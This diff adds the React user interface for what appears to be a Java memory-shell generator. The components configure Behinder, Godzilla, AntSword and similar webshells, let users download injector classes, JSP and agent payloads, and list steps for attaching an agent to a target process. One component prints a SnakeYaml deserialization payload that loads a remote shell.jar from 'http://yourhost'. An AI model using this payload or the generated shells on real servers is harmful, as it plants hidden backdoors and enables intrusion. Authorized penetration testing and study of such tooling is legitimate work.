+            <FormField
+              control={form.control}
+              name="packingMethod"
+              render={({ field }) => (
+                <FormItem className="space-y-3">
+                  <FormLabel>{t("packerMethod")}</FormLabel>
+                  <FormControl>
+                    <RadioGroup
+                      onValueChange={field.onChange}
+                      value={field.value}
+                      className="grid grid-cols-2 md:grid-cols-3"
+                    >
+                      {options.map(({ name, value }) => (
+                        <FormItem
+                          key={value}
+                          className="flex items-center space-x-3 space-y-0"
+                        >
+                          <FormControl>
+                            <RadioGroupItem value={value} id={value} />
+                          </FormControl>
+                          <FormLabel className="text-xs" htmlFor={value}>
+                            {name}
+                          </FormLabel>
+                        </FormItem>
+                      ))}
+                    </RadioGroup>
+                  </FormControl>
+                </FormItem>
+              )}
+            />
+          </FormProvider>
+        ) : (
+          <div className="flex items-center justify-center p-4 space-x-2">
+            <div className="h-4 w-4 animate-spin rounded-full border-2 border-primary border-t-transparent" />
+            <span className="text-sm text-muted-foreground">
+              {t("loading")}
+            </span>
+          </div>
+        )}
+      </CardContent>
+    </Card>
+  );
+}

web/app/components/memshell/quick-usage.tsx

@@ -0,0 +1,26 @@
+import { ScrollTextIcon } from "lucide-react";
+import { useTranslation } from "react-i18next";
+import { Card, CardContent, CardHeader, CardTitle } from "@/components/ui/card";
+
+export function QuickUsage() {
+  const { t } = useTranslation(["common", "memshell"]);
+  return (
+    <Card>
+      <CardHeader>
+        <CardTitle className="text-md flex items-center gap-2">
+          <ScrollTextIcon className="h-5" />
+          <span>{t("common:quickUsage.title")}</span>
+        </CardTitle>
+      </CardHeader>
+      <CardContent>
+        <ol className="list-decimal list-inside space-y-4 text-sm">
+          <li>{t("memshell:quickUsage.step1")}</li>
+          <li>{t("memshell:quickUsage.step2")}</li>
+          <li>{t("memshell:quickUsage.step3")}</li>
+          <li>{t("memshell:quickUsage.step4")}</li>
+          <li>{t("memshell:quickUsage.step5")}</li>
+        </ol>
+      </CardContent>
+    </Card>
+  );
+}

web/app/components/memshell/results/agent.tsx

@@ -0,0 +1,84 @@
+import { ScrollTextIcon } from "lucide-react";
+import { useTranslation } from "react-i18next";
+import { Button } from "@/components/ui/button";
+import { Card, CardContent, CardHeader, CardTitle } from "@/components/ui/card";
+import { Separator } from "@/components/ui/separator";
+import { downloadBytes, formatBytes } from "@/lib/utils";
+import type { MemShellResult } from "@/types/memshell";
+
+export function AgentResult({
+  packMethod,
+  packResult,
+  generateResult,
+}: Readonly<{
+  packMethod: string;
+  packResult: string;
+  generateResult?: MemShellResult;
+}>) {
+  const { t } = useTranslation(["common"]);
+  const isPureAgent = packMethod === "AgentJar";
+  return (
+    <Card>
+      <CardHeader>
+        <CardTitle className="text-md flex items-center gap-2">
+          <ScrollTextIcon className="h-5" />
+          <span>{t("common:usage")}</span>
+        </CardTitle>
+      </CardHeader>
+      <CardContent>
+        <ol className="list-decimal list-inside space-y-4 text-sm">
+          <li className="flex items-center justify-between">
+            <span>
+              {t("common:download")} MemShellAgent.jar (
+              {formatBytes(atob(packResult).length)})
+            </span>
+            <Button
+              size="sm"
+              variant="outline"
+              className="w-28"
+              type="button"
+              onClick={() =>
+                downloadBytes(
+                  packResult,
+                  undefined,
+                  `${generateResult?.shellConfig.server}${generateResult?.shellConfig.shellTool}MemShellAgent`,
+                )
+              }
+            >
+              {t("common:download")}
+            </Button>
+          </li>
+          {isPureAgent && (
+            <li className="flex items-center justify-between">
+              <span>{t("memshell:tips.download-jattach")}</span>
+              <Button
+                size="sm"
+                variant="outline"
+                className="w-28"
+                type="button"
+                onClick={() =>
+                  window.open("https://github.com/jattach/jattach/releases")
+                }
+              >
+                {t("common:download")}
+              </Button>
+            </li>
+          )}
+          <Separator />
+          <li>
+            {isPureAgent
+              ? t("memshell:tips.agent-move-to-target")
+              : t("memshell:tips.agent-move-to-target1")}
+          </li>
+          <li>{t("memshell:tips.get-pid")}</li>
+          <li>
+            {isPureAgent
+              ? t("memshell:tips.execute-command")
+              : t("memshell:tips.execute-command1")}
+          </li>
+          <li>{t("memshell:tips.try-to-use-shell")}</li>
+        </ol>
+      </CardContent>
+    </Card>
+  );
+}

web/app/components/memshell/results/basic-info.tsx

@@ -0,0 +1,195 @@
+import { FileTextIcon } from "lucide-react";
+import { useTranslation } from "react-i18next";
+import { Card, CardContent, CardHeader, CardTitle } from "@/components/ui/card";
+import { Separator } from "@/components/ui/separator";
+import { shouldHidden } from "@/lib/utils";
+import {
+  type AntSwordShellToolConfig,
+  type BehinderShellToolConfig,
+  type CommandShellToolConfig,
+  type GodzillaShellToolConfig,
+  type MemShellResult,
+  type NeoreGeorgShellToolConfig,
+  ShellToolType,
+  type Suo5ShellToolConfig,
+} from "@/types/memshell";
+import { CopyableField } from "../../copyable-field";
+import { FeedbackAlert } from "./feedback-alert";
+
+export function BasicInfo({
+  generateResult,
+}: Readonly<{ generateResult?: MemShellResult }>) {
+  const { t } = useTranslation(["memshell", "common"]);
+  return (
+    <Card>
+      <CardHeader>
+        <CardTitle className="flex items-center justify-between">
+          <div className="text-md flex items-center gap-2">
+            <FileTextIcon className="h-5" />
+            <span>{t("common:basicInfo")}</span>
+          </div>
+          <FeedbackAlert />
+        </CardTitle>
+      </CardHeader>
+      <CardContent>
+        <div className="grid grid-cols-1 md:grid-cols-2 gap-2">
+          <CopyableField
+            label={t("common:server")}
+            text={generateResult?.shellConfig.server}
+          />
+          <CopyableField
+            label={t("mainConfig.shellTool")}
+            text={generateResult?.shellConfig.shellTool}
+          />
+          <CopyableField
+            label={t("mainConfig.shellMountType")}
+            text={generateResult?.shellConfig.shellType}
+          />
+          {!shouldHidden(generateResult?.shellConfig?.shellType) && (
+            <CopyableField
+              label={t("mainConfig.urlPattern")}
+              text={generateResult?.injectorConfig.urlPattern}
+              value={generateResult?.injectorConfig.urlPattern}
+            />
+          )}
+        </div>
+        {generateResult?.shellConfig.shellTool !== ShellToolType.Custom && (
+          <Separator className="my-1" />
+        )}
+        <div className="grid grid-cols-1 md:grid-cols-2 gap-2">
+          {generateResult?.shellConfig.shellTool === ShellToolType.Behinder && (
+            <>
+              <CopyableField
+                label={t("shellToolConfig.behinderScriptType")}
+                text="jsp"
+              />
+              <CopyableField
+                label={t("shellToolConfig.behinderEncryptType")}
+                text={t("shellToolConfig.behinderDefaultEncryptType")}
+              />
+              <CopyableField
+                label={t("shellToolConfig.behinder.pass")}
+                text={
+                  (generateResult?.shellToolConfig as BehinderShellToolConfig)
+                    .pass
+                }
+                value={
+                  (generateResult?.shellToolConfig as BehinderShellToolConfig)
+                    .pass
+                }
+              />
+              <CopyableField
+                label={t("shellToolConfig.behinder.header")}
+                text={`${(generateResult?.shellToolConfig as BehinderShellToolConfig).headerName}: ${(generateResult?.shellToolConfig as BehinderShellToolConfig).headerValue}`}
+                value={`${(generateResult?.shellToolConfig as BehinderShellToolConfig).headerName}: ${(generateResult?.shellToolConfig as BehinderShellToolConfig).headerValue}`}
+              />
+            </>
+          )}
+          {generateResult?.shellConfig.shellTool === ShellToolType.Godzilla && (
+            <>
+              <CopyableField
+                label={t("shellToolConfig.godzilla.pass")}
+                text={
+                  (generateResult?.shellToolConfig as GodzillaShellToolConfig)
+                    .pass
+                }
+                value={
+                  (generateResult?.shellToolConfig as GodzillaShellToolConfig)
+                    .pass
+                }
+              />
+              <CopyableField
+                label={t("shellToolConfig.godzilla.key")}
+                text={
+                  (generateResult?.shellToolConfig as GodzillaShellToolConfig)
+                    .key
+                }
+                value={
+                  (generateResult?.shellToolConfig as GodzillaShellToolConfig)
+                    .key
+                }
+              />
+              <CopyableField
+                label={t("shellToolConfig.godzilla.encryptor")}
+                text="JAVA_AES_BASE64"
+              />
+              <CopyableField
+                label={t("shellToolConfig.godzilla.header")}
+                text={`${(generateResult?.shellToolConfig as GodzillaShellToolConfig).headerName}: ${(generateResult?.shellToolConfig as GodzillaShellToolConfig).headerValue}`}
+                value={`${(generateResult?.shellToolConfig as GodzillaShellToolConfig).headerName}: ${(generateResult?.shellToolConfig as GodzillaShellToolConfig).headerValue}`}
+              />
+            </>
+          )}
+          {generateResult?.shellConfig.shellTool === ShellToolType.Command && (
+            <CopyableField
+              label={t("common:paramName")}
+              text={
+                (generateResult?.shellToolConfig as CommandShellToolConfig)
+                  .paramName
+              }
+              value={
+                (generateResult?.shellToolConfig as CommandShellToolConfig)
+                  .paramName
+              }
+            />
+          )}
+          {generateResult?.shellConfig.shellTool === ShellToolType.Suo5 && (
+            <CopyableField
+              label={t("shellToolConfig.suo5Header")}
+              text={`${(generateResult?.shellToolConfig as Suo5ShellToolConfig).headerName}: ${(generateResult?.shellToolConfig as Suo5ShellToolConfig).headerValue}`}
+              value={`${(generateResult?.shellToolConfig as Suo5ShellToolConfig).headerName}: ${(generateResult?.shellToolConfig as Suo5ShellToolConfig).headerValue}`}
+            />
+          )}
+          {generateResult?.shellConfig.shellTool === ShellToolType.AntSword && (
+            <>
+              <CopyableField
+                label={t("shellToolConfig.antSword.pass")}
+                text={
+                  (generateResult?.shellToolConfig as AntSwordShellToolConfig)
+                    .pass
+                }
+                value={
+                  (generateResult?.shellToolConfig as AntSwordShellToolConfig)
+                    .pass
+                }
+              />
+              <CopyableField
+                label={t("shellToolConfig.httpHeader")}
+                text={`${(generateResult?.shellToolConfig as AntSwordShellToolConfig).headerName}: ${(generateResult?.shellToolConfig as AntSwordShellToolConfig).headerValue}`}
+                value={`${(generateResult?.shellToolConfig as AntSwordShellToolConfig).headerName}: ${(generateResult?.shellToolConfig as AntSwordShellToolConfig).headerValue}`}
+              />
+            </>
+          )}
+          {generateResult?.shellConfig.shellTool ===
+            ShellToolType.NeoreGeorg && (
+            <>
+              <CopyableField
+                label={t("shellToolConfig.neoreGeorgKey")}
+                text="key"
+                value="key"
+              />
+              <CopyableField
+                label={t("shellToolConfig.neoreGeorgHeader")}
+                text={`${(generateResult?.shellToolConfig as NeoreGeorgShellToolConfig).headerName}: ${(generateResult?.shellToolConfig as NeoreGeorgShellToolConfig).headerValue}`}
+                value={`${(generateResult?.shellToolConfig as NeoreGeorgShellToolConfig).headerName}: ${(generateResult?.shellToolConfig as NeoreGeorgShellToolConfig).headerValue}`}
+              />
+            </>
+          )}
+        </div>
+        <Separator className="my-1" />
+        <div className="grid grid-cols-1 md:grid-cols-2 gap-2">
+          <CopyableField
+            label={t("mainConfig.injectorClassName")}
+            value={generateResult?.injectorClassName}
+            text={`${generateResult?.injectorClassName} (${generateResult?.injectorSize} bytes)`}
+          />
+          <CopyableField
+            label={t("mainConfig.shellClassName")}
+            value={generateResult?.shellClassName}
+            text={`${generateResult?.shellClassName} (${generateResult?.shellSize} bytes)`}
+          />
+        </div>
+      </CardContent>
+    </Card>
+  );
+}

web/app/components/memshell/results/feedback-alert.tsx

@@ -0,0 +1,50 @@
+import { CircleHelpIcon } from "lucide-react";
+import { useTranslation } from "react-i18next";
+import {
+  AlertDialog,
+  AlertDialogAction,
+  AlertDialogCancel,
+  AlertDialogContent,
+  AlertDialogDescription,
+  AlertDialogFooter,
+  AlertDialogHeader,
+  AlertDialogTitle,
+  AlertDialogTrigger,
+} from "@/components/ui/alert-dialog";
+import { Button } from "@/components/ui/button";
+
+export function FeedbackAlert() {
+  const { t } = useTranslation("memshell");
+  return (
+    <AlertDialog>
+      <AlertDialogTrigger asChild>
+        <Button variant="outline" type="button">
+          <CircleHelpIcon /> {t("shellNotWork.title")}
+        </Button>
+      </AlertDialogTrigger>
+      <AlertDialogContent>
+        <AlertDialogHeader>
+          <AlertDialogTitle>{t("shellNotWork.title")}</AlertDialogTitle>
+          <AlertDialogDescription>
+            <ol>
+              <li>{t("shellNotWork.step1")}</li>
+              <li>{t("shellNotWork.step2")}</li>
+            </ol>
+          </AlertDialogDescription>
+        </AlertDialogHeader>
+        <AlertDialogFooter>
+          <AlertDialogCancel>{t("common:cancel")}</AlertDialogCancel>
+          <AlertDialogAction
+            onClick={() =>
+              window.open(
+                "https://github.com/ReaJason/MemShellParty/issues/new?template=%E5%86%85%E5%AD%98%E9%A9%AC%E7%94%9F%E6%88%90-bug-%E4%B8%8A%E6%8A%A5.md",
+              )
+            }
+          >
+            {t("common:feedback")}
+          </AlertDialogAction>
+        </AlertDialogFooter>
+      </AlertDialogContent>
+    </AlertDialog>
+  );
+}

web/app/components/memshell/results/jar-result.tsx

@@ -0,0 +1,79 @@
+import { ScrollTextIcon } from "lucide-react";
+import { useTranslation } from "react-i18next";
+import CodeViewer from "@/components/code-viewer";
+import { Button } from "@/components/ui/button";
+import { Card, CardContent, CardHeader, CardTitle } from "@/components/ui/card";
+import { Separator } from "@/components/ui/separator";
+import { downloadBytes, formatBytes } from "@/lib/utils";
+import type { MemShellResult } from "@/types/memshell";
+
+export function JarResult({
+  packMethod,
+  packResult,
+  generateResult,
+}: Readonly<{
+  packMethod: string;
+  packResult: string;
+  generateResult?: MemShellResult;
+}>) {
+  const { t } = useTranslation();
+  const isPureJar = packMethod === "Jar";
+  return (
+    <Card>
+      <CardHeader>
+        <CardTitle className="text-md flex items-center gap-2">
+          <ScrollTextIcon className="h-5" />
+          <span>{t("common:usage")}</span>
+        </CardTitle>
+      </CardHeader>
+      <CardContent>
+        <ol className="list-decimal list-inside space-y-4 text-sm">
+          <li className="flex items-center justify-between">
+            <span>
+              {t("common:download")} shell.jar (
+              {formatBytes(atob(packResult).length)})
+            </span>
+            <Button
+              size="sm"
+              variant="outline"
+              className="w-28"
+              type="button"
+              onClick={() =>
+                downloadBytes(
+                  packResult,
+                  undefined,
+                  `${generateResult?.shellConfig.server}${generateResult?.shellConfig.shellTool}MemShell`,
+                )
+              }
+            >
+              {t("common:download")}
+            </Button>
+          </li>
+          <Separator />
+          {isPureJar ? (
+            <>
+              <li>{t("memshell:tips.download-jar")}</li>
+              <li>{t("memshell:tips.trigger-injector-class-loading")}</li>
+            </>
+          ) : (
+            <>
+              <li>{t("memshell:tips.download-jar")}</li>
+              <li>{t("memshell:tips.load-jar-with-scriptenginemanager")}</li>
+              <CodeViewer
+                code={`!!javax.script.ScriptEngineManager [
+  !!java.net.URLClassLoader [[
+    !!java.net.URL ["http://yourhost/shell.jar"]
+  ]]
+]`}
+                language="java"
+                showLineNumbers={false}
+                wrapLongLines={true}
+                header={<div className="text-xs">SnakeYaml Payload</div>}
+              />
+            </>
+          )}
+        </ol>
+      </CardContent>
+    </Card>
+  );
+}

web/app/components/memshell/results/multi-packer.tsx

@@ -0,0 +1,128 @@
+import { DownloadIcon } from "lucide-react";
+import { useEffect, useState } from "react";
+import { useTranslation } from "react-i18next";
+import CodeViewer from "@/components/code-viewer";
+import { Button } from "@/components/ui/button";
+import {
+  Select,
+  SelectContent,
+  SelectItem,
+  SelectTrigger,
+  SelectValue,
+} from "@/components/ui/select";
+import { base64ToBytes, downloadBytes, downloadContent } from "@/lib/utils";
+
+export function MultiPackResult({
+  allPackResults,
+  packMethod,
+  shellClassName,
+  height = 350,
+}: Readonly<{
+  allPackResults: object | undefined;
+  packMethod: string;
+  shellClassName?: string;
+  height?: number;
+}>) {
+  const showCode = packMethod === "JSP";
+  const { t } = useTranslation();
+  const packMethods = Object.keys(allPackResults ?? {});
+
+  const [selectedMethod, setSelectedMethod] = useState(packMethods[0]);
+  const [packResult, setPackResult] = useState(
+    allPackResults?.[selectedMethod as keyof typeof allPackResults] ?? "",
+  );
+
+  useEffect(() => {
+    const newPackMethods = Object.keys(allPackResults ?? {});
+    if (!newPackMethods.includes(selectedMethod)) {
+      const newSelectedMethod = newPackMethods[0];
+      setSelectedMethod(newSelectedMethod);
+      setPackResult(
+        allPackResults?.[newSelectedMethod as keyof typeof allPackResults] ??
+          "",
+      );
+    } else {
+      setPackResult(
+        allPackResults?.[selectedMethod as keyof typeof allPackResults] ?? "",
+      );
+    }
+  }, [allPackResults, selectedMethod]);
+
+  const handleDownload = () => {
+    const fileName =
+      shellClassName?.substring(shellClassName?.lastIndexOf(".") ?? 0) ?? "";
+    if (packMethod === "JSP") {
+      const fileExtension = selectedMethod.includes("JSPX") ? ".jspx" : ".jsp";
+      const content = new Blob([packResult], { type: "text/plain" });
+      return downloadContent(content, fileName, fileExtension);
+    } else if (
+      packMethod === "JavaDeserialize" ||
+      packMethod.includes("Hessian")
+    ) {
+      const content = new Blob([base64ToBytes(packResult)], {
+        type: "application/octet-stream",
+      });
+      return downloadContent(content, fileName, ".data");
+    } else if (packMethod === "Base64") {
+      const base64Content =
+        allPackResults?.[
+          Object.keys(allPackResults)[0] as keyof typeof allPackResults
+        ] ?? "";
+      return downloadBytes(base64Content, shellClassName);
+    }
+  };
+
+  return (
+    <CodeViewer
+      code={packResult ?? ""}
+      header={
+        <div className="flex items-center justify-between text-xs gap-2">
+          <Select
+            onValueChange={(value) => {
+              setSelectedMethod(value);
+              setPackResult(
+                allPackResults?.[value as keyof typeof allPackResults] ?? "",
+              );
+            }}
+            value={selectedMethod}
+          >
+            <SelectTrigger className="h-7 text-xs [&_svg]:h-4 [&_svg]:w-4">
+              <span className="text-muted-foreground">
+                {t("common:packerMethod")}:&nbsp;
+              </span>
+              <SelectValue />
+            </SelectTrigger>
+            <SelectContent>
+              {packMethods.map((method) => (
+                <SelectItem key={method} value={method} className="text-xs">
+                  {method}
+                </SelectItem>
+              ))}
+            </SelectContent>
+          </Select>
+          <span className="text-muted-foreground">({packResult?.length})</span>
+        </div>
+      }
+      button={
+        packMethod === "JSP" ||
+        packMethod === "Base64" ||
+        packMethod === "JavaDeserialize" ||
+        packMethod.includes("Hessian") ? (
+          <Button
+            variant="ghost"
+            size="icon"
+            type="button"
+            className="h-7 w-7 [&_svg]:h-4 [&_svg]:w-4"
+            onClick={handleDownload}
+          >
+            <DownloadIcon className="h-4 w-4" />
+          </Button>
+        ) : null
+      }
+      wrapLongLines={!showCode}
+      showLineNumbers={showCode}
+      language={showCode ? "java" : "text"}
+      height={height}
+    />
+  );
+}

web/app/components/memshell/results/result-component.tsx

@@ -0,0 +1,68 @@
+import { useTranslation } from "react-i18next";
+import CodeViewer from "@/components/code-viewer";
+import type { MemShellResult } from "@/types/memshell";
+import { AgentResult } from "./agent";
+import { JarResult } from "./jar-result";
+import { MultiPackResult } from "./multi-packer";
+
+export function ResultComponent({
+  packResult,
+  allPackResults,
+  packMethod,
+  generateResult,
+}: Readonly<{
+  packResult: string | undefined;
+  allPackResults: Map<string, string> | undefined;
+  packMethod: string;
+  generateResult?: MemShellResult;
+}>) {
+  const showCode = packMethod === "JSP";
+  const isAgent = packMethod.startsWith("Agent");
+  const isJar = packMethod.endsWith("Jar");
+  const { t } = useTranslation();
+  if (allPackResults) {
+    return (
+      <MultiPackResult
+        allPackResults={allPackResults}
+        packMethod={packMethod}
+        shellClassName={generateResult?.injectorClassName}
+      />
+    );
+  }
+  if (isAgent) {
+    return (
+      <AgentResult
+        packMethod={packMethod}
+        packResult={packResult ?? ""}
+        generateResult={generateResult}
+      />
+    );
+  }
+  if (isJar) {
+    return (
+      <JarResult
+        packMethod={packMethod}
+        packResult={packResult ?? ""}
+        generateResult={generateResult}
+      />
+    );
+  }
+
+  return (
+    <CodeViewer
+      code={packResult ?? ""}
+      header={
+        <div className="flex items-center justify-between text-xs gap-2">
+          <span>
+            {t("common:packerMethod")}：{packMethod}
+          </span>
+          <span className="text-muted-foreground">({packResult?.length})</span>
+        </div>
+      }
+      wrapLongLines={!showCode}
+      showLineNumbers={showCode}
+      language={showCode ? "java" : "text"}
+      height={350}
+    />
+  );
+}

web/app/components/memshell/shell-result.tsx

@@ -0,0 +1,117 @@
+import { DownloadIcon } from "lucide-react";
+import { useTranslation } from "react-i18next";
+import { toast } from "sonner";
+
+import { QuickUsage } from "@/components/memshell/quick-usage";
+import { Button } from "@/components/ui/button";
+import { Tabs, TabsContent, TabsList, TabsTrigger } from "@/components/ui/tabs";
+import { downloadBytes } from "@/lib/utils.ts";
+import type { MemShellResult } from "@/types/memshell";
+import CodeViewer from "../code-viewer";
+import { BasicInfo } from "./results/basic-info";
+import { ResultComponent } from "./results/result-component";
+
+export default function ShellResult({
+  packResult,
+  allPackResults,
+  packMethod,
+  generateResult,
+}: Readonly<{
+  packResult: string | undefined;
+  allPackResults: Map<string, string> | undefined;
+  packMethod: string;
+  generateResult?: MemShellResult;
+}>) {
+  const { t } = useTranslation(["common", "memshell"]);
+  if (!generateResult) {
+    return <QuickUsage />;
+  }
+  return (
+    <Tabs defaultValue="packResult">
+      <TabsList className="grid w-full grid-cols-3">
+        <TabsTrigger value="packResult">
+          {t("common:generateResult")}
+        </TabsTrigger>
+        <TabsTrigger value="shell">{t("memshell:shellClass")}</TabsTrigger>
+        <TabsTrigger value="injector">
+          {t("memshell:injectorClass")}
+        </TabsTrigger>
+      </TabsList>
+      <TabsContent value="packResult" className="my-2 space-y-4">
+        <BasicInfo generateResult={generateResult} />
+        <ResultComponent
+          packResult={packResult}
+          allPackResults={allPackResults}
+          packMethod={packMethod}
+          generateResult={generateResult}
+        />
+      </TabsContent>
+      <TabsContent value="shell" className="mt-4">
+        <CodeViewer
+          showLineNumbers={false}
+          header={
+            <div className="text-xs truncate">
+              {generateResult?.shellClassName}
+            </div>
+          }
+          button={
+            <Button
+              variant="ghost"
+              size="icon"
+              type="button"
+              className="h-7 w-7 [&_svg]:h-4 [&_svg]:w-4"
+              onClick={() => {
+                if (!generateResult?.shellBytesBase64Str) {
+                  toast.warning(t("memshell:tips.shellBytesEmpty"));
+                  return;
+                }
+                downloadBytes(
+                  generateResult?.shellBytesBase64Str,
+                  generateResult?.shellClassName,
+                );
+              }}
+            >
+              <DownloadIcon className="h-4 w-4" />
+            </Button>
+          }
+          wrapLongLines={true}
+          height={600}
+          code={generateResult?.shellBytesBase64Str ?? ""}
+          language="text"
+        />
+      </TabsContent>
+      <TabsContent value="injector" className="mt-4">
+        <CodeViewer
+          showLineNumbers={false}
+          wrapLongLines={true}
+          header={
+            <div className="text-xs">{generateResult?.injectorClassName}</div>
+          }
+          button={
+            <Button
+              variant="ghost"
+              size="icon"
+              type="button"
+              className="h-7 w-7 [&_svg]:h-4 [&_svg]:w-4"
+              onClick={() => {
+                if (!generateResult?.injectorBytesBase64Str) {
+                  toast.warning(t("memshell:tips.shellBytesEmpty"));
+                  return;
+                }
+                downloadBytes(
+                  generateResult?.injectorBytesBase64Str,
+                  generateResult?.injectorClassName,
+                );
+              }}
+            >
+              <DownloadIcon className="h-4 w-4" />
+            </Button>
+          }
+          height={600}
+          code={generateResult?.injectorBytesBase64Str ?? ""}
+          language="text"
+        />
+      </TabsContent>
+    </Tabs>
+  );
+}

web/app/components/memshell/tabs/antsword-tab.tsx

@@ -0,0 +1,87 @@
+import { FormProvider, type UseFormReturn } from "react-hook-form";
+import { useTranslation } from "react-i18next";
+import { Card, CardContent } from "@/components/ui/card";
+import {
+  FormControl,
+  FormField,
+  FormFieldItem,
+  FormFieldLabel,
+} from "@/components/ui/form";
+import { Input } from "@/components/ui/input";
+import { TabsContent } from "@/components/ui/tabs";
+import type { MemShellFormSchema } from "@/types/schema";
+import { OptionalClassFormField } from "./classname-field";
+import { ShellTypeFormField } from "./shelltype-field";
+import { UrlPatternFormField } from "./urlpattern-field";
+
+export function AntSwordTabContent({
+  form,
+  shellTypes,
+}: Readonly<{
+  form: UseFormReturn<MemShellFormSchema>;
+  shellTypes: Array<string>;
+}>) {
+  const { t } = useTranslation(["memshell", "common"]);
+  return (
+    <FormProvider {...form}>
+      <TabsContent value="AntSword">
+        <Card>
+          <CardContent className="space-y-2 mt-4">
+            <div className="grid grid-cols-1 md:grid-cols-2 gap-2">
+              <ShellTypeFormField form={form} shellTypes={shellTypes} />
+              <UrlPatternFormField form={form} />
+            </div>
+            <FormField
+              control={form.control}
+              name="antSwordPass"
+              render={({ field }) => (
+                <FormFieldItem>
+                  <FormFieldLabel>
+                    {t("shellToolConfig.antSword.pass")} {t("common:optional")}
+                  </FormFieldLabel>
+                  <Input
+                    {...field}
+                    placeholder={t("common:placeholders.input")}
+                  />
+                </FormFieldItem>
+              )}
+            />
+            <div className="grid grid-cols-1 md:grid-cols-2 gap-2">
+              <FormField
+                control={form.control}
+                name="headerName"
+                render={({ field }) => (
+                  <FormFieldItem>
+                    <FormFieldLabel>{t("common:headerName")}</FormFieldLabel>
+                    <FormControl>
+                      <Input
+                        {...field}
+                        placeholder={t("common:placeholders.input")}
+                      />
+                    </FormControl>
+                  </FormFieldItem>
+                )}
+              />
+              <FormField
+                control={form.control}
+                name="headerValue"
+                render={({ field }) => (
+                  <FormFieldItem>
+                    <FormFieldLabel>
+                      {t("common:headerValue")} {t("common:optional")}
+                    </FormFieldLabel>
+                    <Input
+                      {...field}
+                      placeholder={t("common:placeholders.input")}
+                    />
+                  </FormFieldItem>
+                )}
+              />
+            </div>
+            <OptionalClassFormField form={form} />
+          </CardContent>
+        </Card>
+      </TabsContent>
+    </FormProvider>
+  );
+}

web/app/components/memshell/tabs/behinder-tab.tsx

@@ -0,0 +1,80 @@
+import { FormProvider, type UseFormReturn } from "react-hook-form";
+import { useTranslation } from "react-i18next";
+import { Card, CardContent } from "@/components/ui/card";
+import { FormField, FormFieldItem, FormFieldLabel } from "@/components/ui/form";
+import { Input } from "@/components/ui/input";
+import { TabsContent } from "@/components/ui/tabs";
+import type { MemShellFormSchema } from "@/types/schema";
+import { OptionalClassFormField } from "./classname-field";
+import { ShellTypeFormField } from "./shelltype-field";
+import { UrlPatternFormField } from "./urlpattern-field";
+
+export function BehinderTabContent({
+  form,
+  shellTypes,
+}: Readonly<{
+  form: UseFormReturn<MemShellFormSchema>;
+  shellTypes: Array<string>;
+}>) {
+  const { t } = useTranslation(["memshell", "common"]);
+  return (
+    <FormProvider {...form}>
+      <TabsContent value="Behinder">
+        <Card>
+          <CardContent className="space-y-2 mt-4">
+            <div className="grid grid-cols-1 md:grid-cols-2 gap-2">
+              <ShellTypeFormField form={form} shellTypes={shellTypes} />
+              <UrlPatternFormField form={form} />
+            </div>
+            <FormField
+              control={form.control}
+              name="behinderPass"
+              render={({ field }) => (
+                <FormFieldItem>
+                  <FormFieldLabel>
+                    {t("shellToolConfig.behinder.pass")} {t("common:optional")}
+                  </FormFieldLabel>
+                  <Input
+                    {...field}
+                    placeholder={t("common:placeholders.input")}
+                  />
+                </FormFieldItem>
+              )}
+            />
+            <div className="grid grid-cols-1 md:grid-cols-2 gap-2">
+              <FormField
+                control={form.control}
+                name="headerName"
+                render={({ field }) => (
+                  <FormFieldItem>
+                    <FormFieldLabel>{t("common:headerName")}</FormFieldLabel>
+                    <Input
+                      {...field}
+                      placeholder={t("common:placeholders.input")}
+                    />
+                  </FormFieldItem>
+                )}
+              />
+              <FormField
+                control={form.control}
+                name="headerValue"
+                render={({ field }) => (
+                  <FormFieldItem>
+                    <FormFieldLabel>
+                      {t("common:headerValue")} {t("common:optional")}
+                    </FormFieldLabel>
+                    <Input
+                      {...field}
+                      placeholder={t("common:placeholders.input")}
+                    />
+                  </FormFieldItem>
+                )}
+              />
+            </div>
+            <OptionalClassFormField form={form} />
+          </CardContent>
+        </Card>
+      </TabsContent>
+    </FormProvider>
+  );
+}

web/app/components/memshell/tabs/classname-field.tsx

@@ -0,0 +1,115 @@
+import { Shuffle } from "lucide-react";
+import { Fragment, useEffect, useState } from "react";
+import { FormProvider, type UseFormReturn } from "react-hook-form";
+import { useTranslation } from "react-i18next";
+import { FormField, FormFieldItem, FormFieldLabel } from "@/components/ui/form";
+import { Input } from "@/components/ui/input";
+import { Switch } from "@/components/ui/switch";
+import type { MemShellFormSchema } from "@/types/schema.ts";
+
+export function OptionalClassFormField({
+  form,
+}: Readonly<{ form: UseFormReturn<MemShellFormSchema> }>) {
+  const { t } = useTranslation(["memshell", "common"]);
+  const initialShellClassName = form.getValues("shellClassName") ?? "";
+  const initialInjectorClassName = form.getValues("injectorClassName") ?? "";
+  const [useRandomClassName, setUseRandomClassName] = useState(
+    () => !(initialShellClassName?.trim() || initialInjectorClassName?.trim()),
+  );
+  const [savedShellClassName, setSavedShellClassName] = useState(
+    initialShellClassName,
+  );
+  const [savedInjectorClassName, setSavedInjectorClassName] = useState(
+    initialInjectorClassName,
+  );
+  const shellClassName = form.watch("shellClassName");
+  const injectorClassName = form.watch("injectorClassName");
+
+  useEffect(() => {
+    if (!useRandomClassName) {
+      setSavedShellClassName(shellClassName ?? "");
+    }
+  }, [shellClassName, useRandomClassName]);
+
+  useEffect(() => {
+    if (!useRandomClassName) {
+      setSavedInjectorClassName(injectorClassName ?? "");
+    }
+  }, [injectorClassName, useRandomClassName]);
+
+  useEffect(() => {
+    if (
+      useRandomClassName &&
+      (shellClassName?.trim() || injectorClassName?.trim())
+    ) {
+      setUseRandomClassName(false);
+    }
+  }, [injectorClassName, shellClassName, useRandomClassName]);
+
+  const handleToggleRandomClass = (checked: boolean) => {
+    setUseRandomClassName(checked);
+    if (checked) {
+      setSavedShellClassName(form.getValues("shellClassName") ?? "");
+      setSavedInjectorClassName(form.getValues("injectorClassName") ?? "");
+      form.setValue("shellClassName", "");
+      form.setValue("injectorClassName", "");
+    } else {
+      form.setValue("shellClassName", savedShellClassName ?? "");
+      form.setValue("injectorClassName", savedInjectorClassName ?? "");
+    }
+  };
+
+  return (
+    <Fragment>
+      <div className="pt-2 flex items-center justify-between gap-3">
+        <div className="flex items-center gap-2 text-sm">
+          <Shuffle className="h-4 w-4" />
+          <span>{t("mainConfig.randomClassName")}</span>
+        </div>
+        <Switch
+          id="randomClassName"
+          checked={useRandomClassName}
+          onCheckedChange={handleToggleRandomClass}
+        />
+      </div>
+      <FormProvider {...form}>
+        {!useRandomClassName && (
+          <FormField
+            control={form.control}
+            name="shellClassName"
+            render={({ field }) => (
+              <FormFieldItem>
+                <FormFieldLabel htmlFor="shellClassName">
+                  {t("mainConfig.shellClassName")} {t("common:optional")}
